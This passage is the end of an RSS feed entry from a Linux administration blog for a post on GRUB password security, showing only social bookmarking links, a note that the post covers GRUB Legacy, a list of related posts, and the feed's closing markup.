	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fgrub-password-security%2F&amp;title=GRUB%20Password%20Security&amp;annotation=NOTE%20%2801-11-2009%29%3A%20This%20article%20refers%20to%20GRUB%20Legacy.%20%20GRUB%202%20is%20a%20complete%20rewrite%20and%20it%27s%20configuration%20is%20completely%20different%20than%20what%20is%20described%20below.%20%20This%20page%20will%20eventually%20be%20updated%20to%20include%20both%20Legacy%20and%20version%202%20instructions." title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fgrub-password-security%2F&amp;title=GRUB%20Password%20Security" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/create-encrypted-cds-and-dvds-in-linux/' rel='bookmark' title='Permanent Link: Create Encrypted CD&#8217;s and DVD&#8217;s in Linux'>Create Encrypted CD&#8217;s and DVD&#8217;s in Linux</a></li>
<li><a href='http://savvyadmin.com/revelation-password-manager-for-gnome/' rel='bookmark' title='Permanent Link: Revelation Password Manager for Gnome'>Revelation Password Manager for Gnome</a></li>
<li><a href='http://savvyadmin.com/perform-gnupg-functions-within-vim/' rel='bookmark' title='Permanent Link: Perform GnuPG Functions Within Vim'>Perform GnuPG Functions Within Vim</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/grub-password-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
